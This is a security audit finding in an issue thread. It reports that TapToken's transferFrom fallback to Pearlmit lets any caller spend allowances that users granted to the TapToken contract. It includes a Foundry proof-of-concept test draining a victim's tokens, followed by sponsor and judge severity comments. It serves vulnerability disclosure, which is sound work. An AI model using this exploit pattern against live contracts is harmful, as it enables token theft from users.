c4-bot-10 commented 4 months ago

Lines of code

https://github.com/Tapioca-DAO/tapioca-periph/blob/032396f701be935b04a7e5cf3cb40a0136259dbc/contracts/tapiocaOmnichainEngine/BaseTapiocaOmnichainEngine.sol#L63-L67

Vulnerability details

Description

When transferring TapToken there is an extra check done in BaseTapiocaOmnichainEngine::transferFrom:

File: tapioca-periph/contracts/tapiocaOmnichainEngine/BaseTapiocaOmnichainEngine.sol

63:        if (allowance(from, spender) < value) {
64:            // _transfer(from, to, value);
65:            bool isErr = pearlmit.transferFromERC20(from, to, address(this), value);
66:            if (isErr) revert BaseTapiocaOmnichainEngine_NotValid();
67:        } else {

Here there's if the spender is not allowed, the allowance is checked in Pearlmit. The issue is that, Pearlmit checkes the allowance against msg.sender which in this case will be the TapToken contract.

Hence any user with a allowance to the TapToken contract in Pearlmit can have their TAP stolen.

Impact

If a user has allowed TapToken to transfer TapToken through Pearlmit, they can have all they have approved stolen. Since TapToken does a lot of token handling in composed messages this is likely to happen.

Proof of Concept

Test in tap-token/test/TapToken.t.sol:

    function testStealTapTokenUsingPearlmitAllowanceToTapToken() public {
        deal(address(aTapOFT), userA, 1e18);
        assertEq(aTapOFT.balanceOf(userA), 1e18);
        assertEq(aTapOFT.balanceOf(userB), 0);

        // userA allows TapToken to transfer TapTokens
        vm.startPrank(userA);
        pearlmit.approve(address(aTapOFT), 0, address(aTapOFT), 1e18, type(uint48).max);
        aTapOFT.approve(address(pearlmit), 1e18);
        vm.stopPrank();

        // userB sees this and uses that allowance to transfer to themselves
        vm.prank(userB);
        aTapOFT.transferFrom(userA,userB, 1e18);

        assertEq(aTapOFT.balanceOf(userA), 0);
        assertEq(aTapOFT.balanceOf(userB), 1e18);
    }

Tools Used

Manual audit

Recommended Mitigation Steps

Consider not doing the fallback to Pearlmit in transferFrom.

Assessed type

Access Control

c4-sponsor commented 4 months ago

cryptotechmaker marked the issue as disagree with severity

cryptotechmaker commented 4 months ago

Low/Invalid;

The issue seems a bit out of context. The link provided is from BaseTapiocaOmnichainEngine and there's no context provided from which part this is triggered on TapToken.

Also this would be possible only if the approve in pearlmit is done with a large enough deadline and amount someone else can exploit. All pearlmit approvals have a deadline associated with them.

c4-judge commented 3 months ago

dmvt marked the issue as primary issue

c4-sponsor commented 3 months ago

0xRektora marked the issue as agree with severity

c4-sponsor commented 3 months ago

0xRektora (sponsor) confirmed

0xRektora commented 3 months ago

I'd keep it as medium. Potential side effects might happen on current/future TOE tokens.